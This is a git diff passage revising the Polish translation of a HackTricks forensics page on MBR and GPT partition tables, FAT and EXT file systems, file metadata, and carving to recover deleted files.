* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,69 +1,70 @@
|
|||
# Partycje/Systemy plików/Odzyskiwanie danych
|
||||
# Partitions/File Systems/Carving
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Partycje
|
||||
## Partitions
|
||||
|
||||
Dysk twardy lub **dysk SSD może zawierać różne partycje** w celu fizycznego oddzielenia danych.\
|
||||
**Minimalna** jednostka dysku to **sektor** (zazwyczaj składający się z 512B). Dlatego każdy rozmiar partycji musi być wielokrotnością tej wielkości.
|
||||
**Minimalną** jednostką dysku jest **sektor** (zwykle składający się z 512B). Zatem rozmiar każdej partycji musi być wielokrotnością tego rozmiaru.
|
||||
|
||||
### MBR (Master Boot Record)
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Znajduje się w **pierwszym sektorze dysku po 446B kodu rozruchowego**. Ten sektor jest niezbędny, aby wskazać komputerowi, co i skąd powinna być montowana partycja.\
|
||||
Pozwala na **4 partycje** (najwyżej **tylko 1** może być aktywna/**rozruchowa**). Jeśli jednak potrzebujesz więcej partycji, możesz użyć **partycji rozszerzonych**. Ostatnim bajtem tego pierwszego sektora jest sygnatura rekordu rozruchowego **0x55AA**. Tylko jedna partycja może być oznaczona jako aktywna.\
|
||||
MBR pozwala na **maks. 2,2 TB**.
|
||||
Jest przydzielony w **pierwszym sektorze dysku po 446B kodu rozruchowego**. Ten sektor jest niezbędny, aby wskazać PC, co i skąd powinno być zamontowane jako partycja.\
|
||||
Pozwala na maksymalnie **4 partycje** (najwyżej **tylko 1** może być aktywna/**rozruchowa**). Jednak jeśli potrzebujesz więcej partycji, możesz użyć **partycji rozszerzonej**. **Ostatni bajt** tego pierwszego sektora to sygnatura rekordu rozruchowego **0x55AA**. Tylko jedna partycja może być oznaczona jako aktywna.\
|
||||
MBR pozwala na **maks. 2.2TB**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (350).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (304).png>)
|
||||
|
||||
Od **bajtów 440 do 443** MBR można znaleźć **Sygnaturę Dysku Windows** (jeśli używany jest Windows). Litera logiczna dysku twardego zależy od Sygnatury Dysku Windows. Zmiana tej sygnatury może uniemożliwić uruchomienie systemu Windows (narzędzie: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
W **bajtach 440 do 443** MBR możesz znaleźć **Sygnaturę Dysku Windows** (jeśli używany jest Windows). Litera logicznego dysku twardego zależy od Sygnatury Dysku Windows. Zmiana tej sygnatury może uniemożliwić uruchomienie Windows (narzędzie: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (310).png>)
|
||||
|
||||
**Format**
|
||||
|
||||
| Offset | Długość | Element |
|
||||
| Offset | Length | Item |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Kod rozruchowy |
|
||||
| 446 (0x1BE) | 16 (0x10) | Pierwsza Partycja |
|
||||
| 462 (0x1CE) | 16 (0x10) | Druga Partycja |
|
||||
| 478 (0x1DE) | 16 (0x10) | Trzecia Partycja |
|
||||
| 494 (0x1EE) | 16 (0x10) | Czwarta Partycja |
|
||||
| 446 (0x1BE) | 16 (0x10) | Pierwsza partycja |
|
||||
| 462 (0x1CE) | 16 (0x10) | Druga partycja |
|
||||
| 478 (0x1DE) | 16 (0x10) | Trzecia partycja |
|
||||
| 494 (0x1EE) | 16 (0x10) | Czwarta partycja |
|
||||
| 510 (0x1FE) | 2 (0x2) | Sygnatura 0x55 0xAA |
|
||||
|
||||
**Format Rekordu Partycji**
|
||||
**Format rekordu partycji**
|
||||
|
||||
| Offset | Długość | Element |
|
||||
| Offset | Length | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Flaga aktywna (0x80 = rozruchowa) |
|
||||
| 1 (0x01) | 1 (0x01) | Początkowy głowica |
|
||||
| 2 (0x02) | 1 (0x01) | Początkowy sektor (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Najmłodsze 8 bitów cylindra początkowego |
|
||||
| 4 (0x04) | 1 (0x01) | Kod typu partycji (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Końcowa głowica |
|
||||
| 6 (0x06) | 1 (0x01) | Końcowy sektor (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Najmłodsze 8 bitów cylindra końcowego |
|
||||
| 8 (0x08) | 4 (0x04) | Sektory poprzedzające partycję (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektory w partycji |
|
||||
| 0 (0x00) | 1 (0x01) | Flaga aktywności (0x80 = rozruchowa) |
|
||||
| 1 (0x01) | 1 (0x01) | Głowica startowa |
|
||||
| 2 (0x02) | 1 (0x01) | Sektor startowy (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Cylinder startowy najniższe 8 bitów |
|
||||
| 4 (0x04) | 1 (0x01) | Kod typu partycji (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Głowica końcowa |
|
||||
| 6 (0x06) | 1 (0x01) | Sektor końcowy (bity 0-5); wyższe bity cylindra (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Cylinder końcowy najniższe 8 bitów |
|
||||
| 8 (0x08) | 4 (0x04) | Sektory poprzedzające partycję (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektory w partycji |
|
||||
|
||||
Aby zamontować MBR w systemie Linux, najpierw musisz uzyskać przesunięcie początkowe (możesz użyć `fdisk` i polecenia `p`)
|
||||
Aby zamontować MBR w systemie Linux, najpierw musisz uzyskać offset startowy (możesz użyć `fdisk` i polecenia `p`)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Następnie użyj poniższego kodu
|
||||
A następnie użyj następującego kodu
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
|
@ -72,68 +73,68 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
|||
```
|
||||
**LBA (Logical block addressing)**
|
||||
|
||||
**Adresowanie logicznych bloków** (**LBA**) to powszechny schemat używany do **określania lokalizacji bloków** danych przechowywanych na urządzeniach pamięci komputerowych, zazwyczaj na systemach pamięci wtórnej, takich jak dyski twarde. LBA to szczególnie prosty schemat adresowania liniowego; **bloki są zlokalizowane za pomocą indeksu całkowitego**, przy czym pierwszy blok to LBA 0, drugi LBA 1, i tak dalej.
|
||||
**Logical block addressing** (**LBA**) to powszechnie stosowany schemat do **określania lokalizacji bloków** danych przechowywanych na urządzeniach pamięci komputerowej, zazwyczaj w systemach pamięci wtórnej, takich jak dyski twarde. LBA jest szczególnie prostym liniowym schematem adresowania; **bloki są zlokalizowane za pomocą indeksu całkowitego**, przy czym pierwszy blok to LBA 0, drugi LBA 1, i tak dalej.
|
||||
|
||||
### GPT (Tabela partycji GUID)
|
||||
### GPT (GUID Partition Table)
|
||||
|
||||
Tabela partycji GUID, znana jako GPT, cieszy się popularnością ze względu na swoje ulepszone możliwości w porównaniu do MBR (Master Boot Record). Wyróżnia się ona **globalnie unikalnym identyfikatorem** partycji, a GPT wyróżnia się na kilka sposobów:
|
||||
Tabela partycji GUID, znana jako GPT, jest preferowana ze względu na swoje ulepszone możliwości w porównaniu do MBR (Master Boot Record). Wyróżnia się **globalnie unikalnym identyfikatorem** dla partycji, GPT wyróżnia się w kilku aspektach:
|
||||
|
||||
* **Lokalizacja i rozmiar**: Zarówno GPT, jak i MBR zaczynają się od **sektora 0**. Jednak GPT działa na **64 bitach**, w przeciwieństwie do 32 bitów MBR.
|
||||
* **Ograniczenia partycji**: GPT obsługuje do **128 partycji** w systemach Windows i pomieści do **9,4ZB** danych.
|
||||
* **Nazwy partycji**: Oferuje możliwość nadawania partycjom nazw z użyciem do 36 znaków Unicode.
|
||||
* **Limity partycji**: GPT obsługuje do **128 partycji** w systemach Windows i pomieści do **9,4ZB** danych.
|
||||
* **Nazwy partycji**: Oferuje możliwość nadawania nazw partycjom z maksymalnie 36 znakami Unicode.
|
||||
|
||||
**Odporność danych i odzyskiwanie**:
|
||||
|
||||
* **Redundancja**: W przeciwieństwie do MBR, GPT nie ogranicza partycjonowania i danych rozruchowych do jednego miejsca. Replikuje te dane na całym dysku, poprawiając integralność i odporność danych.
|
||||
* **Sprawdzanie cyklicznej sumy kontrolnej (CRC)**: GPT używa CRC do zapewnienia integralności danych. Aktywnie monitoruje uszkodzenia danych, a gdy je wykryje, GPT próbuje odzyskać uszkodzone dane z innej lokalizacji na dysku.
|
||||
* **Redundancja**: W przeciwieństwie do MBR, GPT nie ogranicza partycjonowania i danych rozruchowych do jednego miejsca. Replikuje te dane w całym dysku, co zwiększa integralność danych i odporność.
|
||||
* **Cyclic Redundancy Check (CRC)**: GPT stosuje CRC, aby zapewnić integralność danych. Aktywnie monitoruje uszkodzenia danych, a po ich wykryciu GPT próbuje odzyskać uszkodzone dane z innej lokalizacji na dysku.
|
||||
|
||||
**Ochronny MBR (LBA0)**:
|
||||
|
||||
* GPT utrzymuje kompatybilność wsteczną za pomocą ochronnego MBR. Ta funkcja znajduje się w przestrzeni dziedziczonego MBR, ale zaprojektowana jest tak, aby zapobiegać starszym narzędziom opartym na MBR przed błędnym nadpisywaniem dysków sformatowanych w systemie GPT, chroniąc tym samym integralność danych na dyskach sformatowanych w systemie GPT.
|
||||
* GPT utrzymuje zgodność wsteczną poprzez ochronny MBR. Ta funkcja znajduje się w przestrzeni MBR, ale jest zaprojektowana, aby zapobiec przypadkowemu nadpisaniu dysków GPT przez starsze narzędzia oparte na MBR, co chroni integralność danych na dyskach sformatowanych w GPT.
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
|
||||
|
||||
**Hybrydowy MBR (LBA 0 + GPT)**
|
||||
**Hybrid MBR (LBA 0 + GPT)**
|
||||
|
||||
[Z Wikipedii](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
W systemach operacyjnych obsługujących **rozruch oparty na GPT poprzez usługi BIOS** zamiast EFI, pierwszy sektor może również być nadal używany do przechowywania pierwszego etapu kodu **ładowania** **rozruchowego**, ale **zmodyfikowanego** w celu rozpoznania **partycji GPT**. Ładowacz w MBR nie powinien zakładać rozmiaru sektora 512 bajtów.
|
||||
W systemach operacyjnych, które obsługują **rozruch oparty na GPT przez usługi BIOS** zamiast EFI, pierwszy sektor może być również używany do przechowywania pierwszej fazy kodu **bootloadera**, ale **zmodyfikowanego** w celu rozpoznania **partycji GPT**. Bootloader w MBR nie może zakładać rozmiaru sektora wynoszącego 512 bajtów.
|
||||
|
||||
**Nagłówek tabeli partycji (LBA 1)**
|
||||
|
||||
[Z Wikipedii](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
Nagłówek tabeli partycji definiuje bloki użyteczne na dysku. Określa również liczbę i rozmiar wpisów partycji, które tworzą tabelę partycji (przesunięcia 80 i 84 w tabeli).
|
||||
Nagłówek tabeli partycji definiuje użyteczne bloki na dysku. Definiuje również liczbę i rozmiar wpisów partycji, które tworzą tabelę partycji (offsety 80 i 84 w tabeli).
|
||||
|
||||
| Przesunięcie | Długość | Zawartość |
|
||||
| ------------ | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bajtów | Sygnatura ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h lub 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na małych maszynach endian) |
|
||||
| 8 (0x08) | 4 bajty | Wersja 1.0 (00h 00h 01h 00h) dla UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bajty | Rozmiar nagłówka w małym endianie (w bajtach, zazwyczaj 5Ch 00h 00h 00h lub 92 bajty) |
|
||||
| 16 (0x10) | 4 bajty | [CRC32](https://en.wikipedia.org/wiki/CRC32) nagłówka (przesunięcie +0 do rozmiaru nagłówka) w małym endianie, przy czym to pole jest zerowane podczas obliczeń |
|
||||
| 20 (0x14) | 4 bajty | Zarezerwowane; musi być zerem |
|
||||
| 24 (0x18) | 8 bajtów | Bieżące LBA (lokalizacja tego kopii nagłówka) |
|
||||
| 32 (0x20) | 8 bajtów | LBA kopii zapasowej (lokalizacja innej kopii nagłówka) |
|
||||
| 40 (0x28) | 8 bajtów | Pierwsze użyteczne LBA dla partycji (ostatnie LBA tabeli partycji podstawowej + 1) |
|
||||
| 48 (0x30) | 8 bajtów | Ostatnie użyteczne LBA (pierwsze LBA tabeli partycji zapasowej − 1) |
|
||||
| 56 (0x38) | 16 bajtów | GUID dysku w mieszanym endianie |
|
||||
| 72 (0x48) | 8 bajtów | Początkowe LBA tablicy wpisów partycji (zawsze 2 w kopii podstawowej) |
|
||||
| 80 (0x50) | 4 bajty | Liczba wpisów partycji w tablicy |
|
||||
| 84 (0x54) | 4 bajty | Rozmiar pojedynczego wpisu partycji (zazwyczaj 80h lub 128) |
|
||||
| 88 (0x58) | 4 bajty | CRC32 tablicy wpisów partycji w małym endianie |
|
||||
| 92 (0x5C) | \* | Zarezerwowane; musi być zerami dla reszty bloku (420 bajtów dla rozmiaru sektora 512 bajtów; ale może być większe przy większych rozmiarach sektora) |
|
||||
| Offset | Długość | Zawartość |
|
||||
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bajtów | Podpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h lub 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) na maszynach little-endian) |
|
||||
| 8 (0x08) | 4 bajty | Wersja 1.0 (00h 00h 01h 00h) dla UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bajty | Rozmiar nagłówka w little endian (w bajtach, zazwyczaj 5Ch 00h 00h 00h lub 92 bajty) |
|
||||
| 16 (0x10) | 4 bajty | [CRC32](https://en.wikipedia.org/wiki/CRC32) nagłówka (offset +0 do rozmiaru nagłówka) w little endian, z tym polem wyzerowanym podczas obliczeń |
|
||||
| 20 (0x14) | 4 bajty | Zarezerwowane; musi być zerowe |
|
||||
| 24 (0x18) | 8 bajtów | Bieżące LBA (lokalizacja tej kopii nagłówka) |
|
||||
| 32 (0x20) | 8 bajtów | Kopia zapasowa LBA (lokalizacja drugiej kopii nagłówka) |
|
||||
| 40 (0x28) | 8 bajtów | Pierwsze użyteczne LBA dla partycji (ostatnie LBA głównej tabeli partycji + 1) |
|
||||
| 48 (0x30) | 8 bajtów | Ostatnie użyteczne LBA (pierwsze LBA drugiej tabeli partycji − 1) |
|
||||
| 56 (0x38) | 16 bajtów| GUID dysku w mieszanym endianie |
|
||||
| 72 (0x48) | 8 bajtów | Rozpoczęcie LBA tablicy wpisów partycji (zawsze 2 w kopii głównej) |
|
||||
| 80 (0x50) | 4 bajty | Liczba wpisów partycji w tablicy |
|
||||
| 84 (0x54) | 4 bajty | Rozmiar pojedynczego wpisu partycji (zazwyczaj 80h lub 128) |
|
||||
| 88 (0x58) | 4 bajty | CRC32 tablicy wpisów partycji w little endian |
|
||||
| 92 (0x5C) | \* | Zarezerwowane; musi być zerami przez resztę bloku (420 bajtów dla rozmiaru sektora 512 bajtów; ale może być więcej przy większych rozmiarach sektorów) |
|
||||
|
||||
**Wpisy partycji (LBA 2–33)**
|
||||
|
||||
| Format wpisu partycji GUID | | |
|
||||
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| Przesunięcie | Długość | Zawartość |
|
||||
| 0 (0x00) | 16 bajtów | [GUID typu partycji](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mieszany endian) |
|
||||
| 16 (0x10) | 16 bajtów | Unikalny GUID partycji (mieszany endian) |
|
||||
| 32 (0x20) | 8 bajtów | Pierwsze LBA ([mały endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bajtów | Ostatnie LBA (włącznie, zazwyczaj nieparzyste) |
|
||||
| 48 (0x30) | 8 bajtów | Flagi atrybutów (np. bit 60 oznacza tylko do odczytu) |
|
||||
| 56 (0x38) | 72 bajty | Nazwa partycji (36 jednostek kodu UTF-16LE) |
|
||||
| Offset | Długość | Zawartość |
|
||||
| 0 (0x00) | 16 bajtów| [Typ GUID partycji](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mieszany endian) |
|
||||
| 16 (0x10) | 16 bajtów| Unikalny GUID partycji (mieszany endian) |
|
||||
| 32 (0x20) | 8 bajtów | Pierwsze LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8 bajtów | Ostatnie LBA (włącznie, zazwyczaj nieparzyste) |
|
||||
| 48 (0x30) | 8 bajtów | Flagi atrybutów (np. bit 60 oznacza tylko do odczytu) |
|
||||
| 56 (0x38) | 72 bajty | Nazwa partycji (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jednostek kodowych) |
|
||||
|
||||
**Typy partycji**
|
||||
|
||||
|
@ -143,11 +144,12 @@ Więcej typów partycji w [https://en.wikipedia.org/wiki/GUID\_Partition\_Table]
|
|||
|
||||
### Inspekcja
|
||||
|
||||
Po zamontowaniu obrazu śledczego za pomocą [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), można zbadać pierwszy sektor za pomocą narzędzia Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na poniższym obrazie wykryto **MBR** w **sektorze 0** i zinterpretowano:
|
||||
Po zamontowaniu obrazu forensycznego za pomocą [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), możesz zbadać pierwszy sektor za pomocą narzędzia Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na poniższym obrazie wykryto **MBR** w **sektorze 0** i zinterpretowano:
|
||||
|
||||
![](<../../../.gitbook/assets/image (354).png>)
|
||||
|
||||
Jeśli byłoby to **tabela GPT zamiast MBR**, powinna pojawić się sygnatura _EFI PART_ w **sektorze 1** (który w poprzednim obrazie jest pusty).
|
||||
Gdyby to była **tabela GPT zamiast MBR**, powinien pojawić się podpis _EFI PART_ w **sektorze 1** (który na poprzednim obrazie jest pusty).
|
||||
|
||||
## Systemy plików
|
||||
|
||||
### Lista systemów plików Windows
|
||||
|
@ -160,37 +162,37 @@ Jeśli byłoby to **tabela GPT zamiast MBR**, powinna pojawić się sygnatura _E
|
|||
|
||||
### FAT
|
||||
|
||||
System plików **FAT (File Allocation Table)** został zaprojektowany wokół swojego głównego komponentu, tabeli alokacji plików, umieszczonej na początku woluminu. Ten system zabezpiecza dane, utrzymując **dwie kopie** tabeli, zapewniając integralność danych nawet jeśli jedna z nich zostanie uszkodzona. Tabela, wraz z folderem głównym, musi znajdować się w **stałym miejscu**, kluczowym dla procesu uruchamiania systemu.
|
||||
System plików **FAT (File Allocation Table)** jest zaprojektowany wokół swojego podstawowego komponentu, tabeli alokacji plików, umieszczonej na początku woluminu. System ten chroni dane, utrzymując **dwie kopie** tabeli, zapewniając integralność danych, nawet jeśli jedna z nich ulegnie uszkodzeniu. Tabela, wraz z folderem głównym, musi znajdować się w **stałej lokalizacji**, co jest kluczowe dla procesu uruchamiania systemu.
|
||||
|
||||
Podstawową jednostką przechowywania systemu plików jest **klaster, zazwyczaj 512B**, składający się z wielu sektorów. FAT ewoluował poprzez różne wersje:
|
||||
Podstawową jednostką przechowywania w systemie plików jest **klaster, zazwyczaj 512B**, składający się z wielu sektorów. FAT ewoluował przez wersje:
|
||||
|
||||
* **FAT12**, obsługujący adresy klastrów 12-bitowe i obsługujący do 4078 klastrów (4084 z UNIX).
|
||||
* **FAT16**, rozszerzający do adresów 16-bitowych, co pozwala na pomieszczenie do 65 517 klastrów.
|
||||
* **FAT32**, dalsze zaawansowanie z adresami 32-bitowymi, pozwalające na imponujące 268 435 456 klastrów na wolumin.
|
||||
* **FAT12**, obsługujący 12-bitowe adresy klastrów i obsługujący do 4078 klastrów (4084 z UNIX).
|
||||
* **FAT16**, rozwijający się do 16-bitowych adresów, co pozwala na obsługę do 65,517 klastrów.
|
||||
* **FAT32**, dalej rozwijający się z 32-bitowymi adresami, pozwalający na imponujące 268,435,456 klastrów na wolumin.
|
||||
|
||||
Znaczącym ograniczeniem we wszystkich wersjach FAT jest **maksymalny rozmiar pliku 4GB**, narzucony przez pole 32-bitowe używane do przechowywania rozmiaru pliku.
|
||||
Znaczącym ograniczeniem we wszystkich wersjach FAT jest **maksymalny rozmiar pliku wynoszący 4GB**, narzucony przez 32-bitowe pole używane do przechowywania rozmiaru pliku.
|
||||
|
||||
Kluczowe składniki katalogu głównego, szczególnie dla FAT12 i FAT16, obejmują:
|
||||
Kluczowe komponenty katalogu głównego, szczególnie dla FAT12 i FAT16, obejmują:
|
||||
|
||||
* **Nazwa pliku/folderu** (do 8 znaków)
|
||||
* **Atrybuty**
|
||||
* **Daty utworzenia, modyfikacji i ostatniego dostępu**
|
||||
* **Adres tabeli FAT** (wskazujący początkowy klaster pliku)
|
||||
* **Adres tabeli FAT** (wskazujący na pierwszy klaster pliku)
|
||||
* **Rozmiar pliku**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** jest najczęstszym systemem plików dla partycji **bez dziennikowania** (**partycje, które się nie zmieniają zbyt często**), takich jak partycja rozruchowa. **Ext3/4** są **z dziennikowaniem** i zazwyczaj są używane dla **pozostałych partycji**.
|
||||
**Ext2** to najczęściej stosowany system plików dla **partycji bez dziennika** (**partycji, które nie zmieniają się zbyt często**) jak partycja rozruchowa. **Ext3/4** są **z dziennikiem** i są zazwyczaj używane dla **pozostałych partycji**.
|
||||
|
||||
## **Metadane**
|
||||
|
||||
Niektóre pliki zawierają metadane. Informacje te dotyczą zawartości pliku, które czasami mogą być interesujące dla analityka, ponieważ w zależności od typu pliku mogą zawierać informacje takie jak:
|
||||
|
||||
* Tytuł
|
||||
* Użyta wersja MS Office
|
||||
* Wersja MS Office używana
|
||||
* Autor
|
||||
* Daty utworzenia i ostatniej modyfikacji
|
||||
* Model aparatu fotograficznego
|
||||
* Model aparatu
|
||||
* Współrzędne GPS
|
||||
* Informacje o obrazie
|
||||
|
||||
|
@ -198,31 +200,31 @@ Możesz użyć narzędzi takich jak [**exiftool**](https://exiftool.org) i [**Me
|
|||
|
||||
## **Odzyskiwanie usuniętych plików**
|
||||
|
||||
### Zalogowane usunięte pliki
|
||||
### Zarejestrowane usunięte pliki
|
||||
|
||||
Jak już było wspomniane, istnieje kilka miejsc, gdzie plik jest nadal zapisany po "usunięciu". Dzieje się tak, ponieważ zazwyczaj usunięcie pliku z systemu plików oznacza go jako usunięty, ale dane nie są dotykane. Następnie można sprawdzić rejestracje plików (takie jak MFT) i odnaleźć usunięte pliki.
|
||||
Jak wcześniej wspomniano, istnieje kilka miejsc, w których plik jest nadal zapisany po jego "usunięciu". Dzieje się tak, ponieważ zazwyczaj usunięcie pliku z systemu plików po prostu oznacza go jako usunięty, ale dane nie są dotykane. Wtedy możliwe jest zbadanie rejestrów plików (takich jak MFT) i znalezienie usuniętych plików.
|
||||
|
||||
Ponadto system operacyjny zazwyczaj zapisuje wiele informacji o zmianach w systemie plików i backupach, więc można spróbować ich użyć do odzyskania pliku lub jak największej ilości informacji.
|
||||
Ponadto system operacyjny zazwyczaj zapisuje wiele informacji o zmianach w systemie plików i kopiach zapasowych, więc możliwe jest próbowanie ich użycia do odzyskania pliku lub jak największej ilości informacji.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Wycinanie plików**
|
||||
### **Carving plików**
|
||||
|
||||
**Wycinanie plików** to technika, która próbuje **znaleźć pliki w dużej ilości danych**. Istnieją 3 główne sposoby działania narzędzi tego typu: **Na podstawie nagłówków i stopów typów plików**, na podstawie **struktur typów plików** i na podstawie **samej zawartości**.
|
||||
**File carving** to technika, która próbuje **znaleźć pliki w masie danych**. Istnieją 3 główne sposoby, w jakie działają takie narzędzia: **Na podstawie nagłówków i stóp typów plików**, na podstawie **struktur** typów plików oraz na podstawie **samej zawartości**.
|
||||
|
||||
Należy zauważyć, że ta technika **nie działa do odzyskiwania fragmentowanych plików**. Jeśli plik **nie jest przechowywany w sąsiadujących sektorach**, to ta technika nie będzie w stanie go odnaleźć lub przynajmniej jego części.
|
||||
Należy zauważyć, że ta technika **nie działa na odzyskiwanie fragmentowanych plików**. Jeśli plik **nie jest przechowywany w sąsiadujących sektorach**, to ta technika nie będzie w stanie go znaleźć lub przynajmniej jego części.
|
||||
|
||||
Istnieje kilka narzędzi, które można użyć do wycinania plików, wskazując typy plików, których chcesz szukać.
|
||||
Istnieje wiele narzędzi, które możesz użyć do carvingu plików, wskazując typy plików, które chcesz wyszukiwać.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Wycinanie strumieni danych
|
||||
### Carving strumieni danych
|
||||
|
||||
Wycinanie strumieni danych jest podobne do wycinania plików, ale **zamiast szukać kompletnych plików, szuka interesujących fragmentów** informacji.\
|
||||
Carving strumieni danych jest podobny do carvingu plików, ale **zamiast szukać kompletnych plików, szuka interesujących fragmentów** informacji.\
|
||||
Na przykład, zamiast szukać kompletnego pliku zawierającego zarejestrowane adresy URL, ta technika będzie szukać adresów URL.
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
|
@ -231,13 +233,28 @@ Na przykład, zamiast szukać kompletnego pliku zawierającego zarejestrowane ad
|
|||
|
||||
### Bezpieczne usuwanie
|
||||
|
||||
